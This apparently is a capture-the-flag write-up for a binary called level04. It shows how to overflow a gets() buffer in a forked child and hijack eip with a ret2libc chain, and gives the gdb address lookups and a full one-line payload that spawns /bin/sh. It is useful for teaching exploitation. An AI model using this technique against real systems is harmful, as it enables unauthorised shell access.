# Level04

Using hexrays, we can decompile the code and see that it does a `fork()` of the main process.
The child process will call `gets()` which is a deprecated and unsafe function, vulnerable to buffer overflows.
We can exploit this vulnerability to overflow `eip` and call `system()` function (the code has ASLR disabled so we can hardcode its address in our exploit).
First, we need to find the offset between our buffer and `eip`. To achieve this, we're going to use gdb `set follow-fork-mode child` and (this EIP offset tool)[https://wiremask.eu/tools/buffer-overflow-pattern-generator/]. We get an offset of 156.
Then we're going to overwrite the next 4 bytes (used for the return address of `system()`, which will be unused here so we don't care about its value). Finally we can write the address of our argument `"/bin/sh"` on the stack so that `system("/bin/sh")` executes.
To find all these addresses, we're going to use gdb.
Address of `system()`:
```
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e6aed0 <system>
```
So its address is `0xf7e6aed0`.

Address of `"/bin/sh"`:
```
(gdb) info proc map
process 2205
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	0x8048000  0x8049000     0x1000        0x0 /home/users/level04/level04
	0x8049000  0x804a000     0x1000        0x0 /home/users/level04/level04
	0x804a000  0x804b000     0x1000     0x1000 /home/users/level04/level04
	0xf7e2b000 0xf7e2c000     0x1000        0x0 
	0xf7e2c000 0xf7fcc000   0x1a0000        0x0 /lib32/libc-2.15.so
	0xf7fcc000 0xf7fcd000     0x1000   0x1a0000 /lib32/libc-2.15.so
	0xf7fcd000 0xf7fcf000     0x2000   0x1a0000 /lib32/libc-2.15.so
	0xf7fcf000 0xf7fd0000     0x1000   0x1a2000 /lib32/libc-2.15.so
	0xf7fd0000 0xf7fd4000     0x4000        0x0 
	0xf7fda000 0xf7fdb000     0x1000        0x0 
	0xf7fdb000 0xf7fdc000     0x1000        0x0 [vdso]
	0xf7fdc000 0xf7ffc000    0x20000        0x0 /lib32/ld-2.15.so
	0xf7ffc000 0xf7ffd000     0x1000    0x1f000 /lib32/ld-2.15.so
	0xf7ffd000 0xf7ffe000     0x1000    0x20000 /lib32/ld-2.15.so
	0xfffdd000 0xffffe000    0x21000        0x0 [stack]
(gdb) find 0xf7e2c000,0xf7fd0000,"/bin/sh"
0xf7f897ec
1 pattern found.
```
So its address is `0xf7f897ec`.

We can now build the exploit in 4 parts:
- `"A"*156` => the offset to overflow the buffer until `eip`
- `"\xd0\xae\xe6\xf7"` => `system()`'s address
- `"A"*4` => the return address of `system()` (useless value but the offset is needed for the exploit)
- `"\xec\x97\xf8\xf7"` => `"/bin/sh"`'s address.

Here is the full command:
`(python -c 'print "A" * 156 + "\xd0\xae\xe6\xf7" + "A" * 4 + "\xec\x97\xf8\xf7"'; cat) | ./level04`
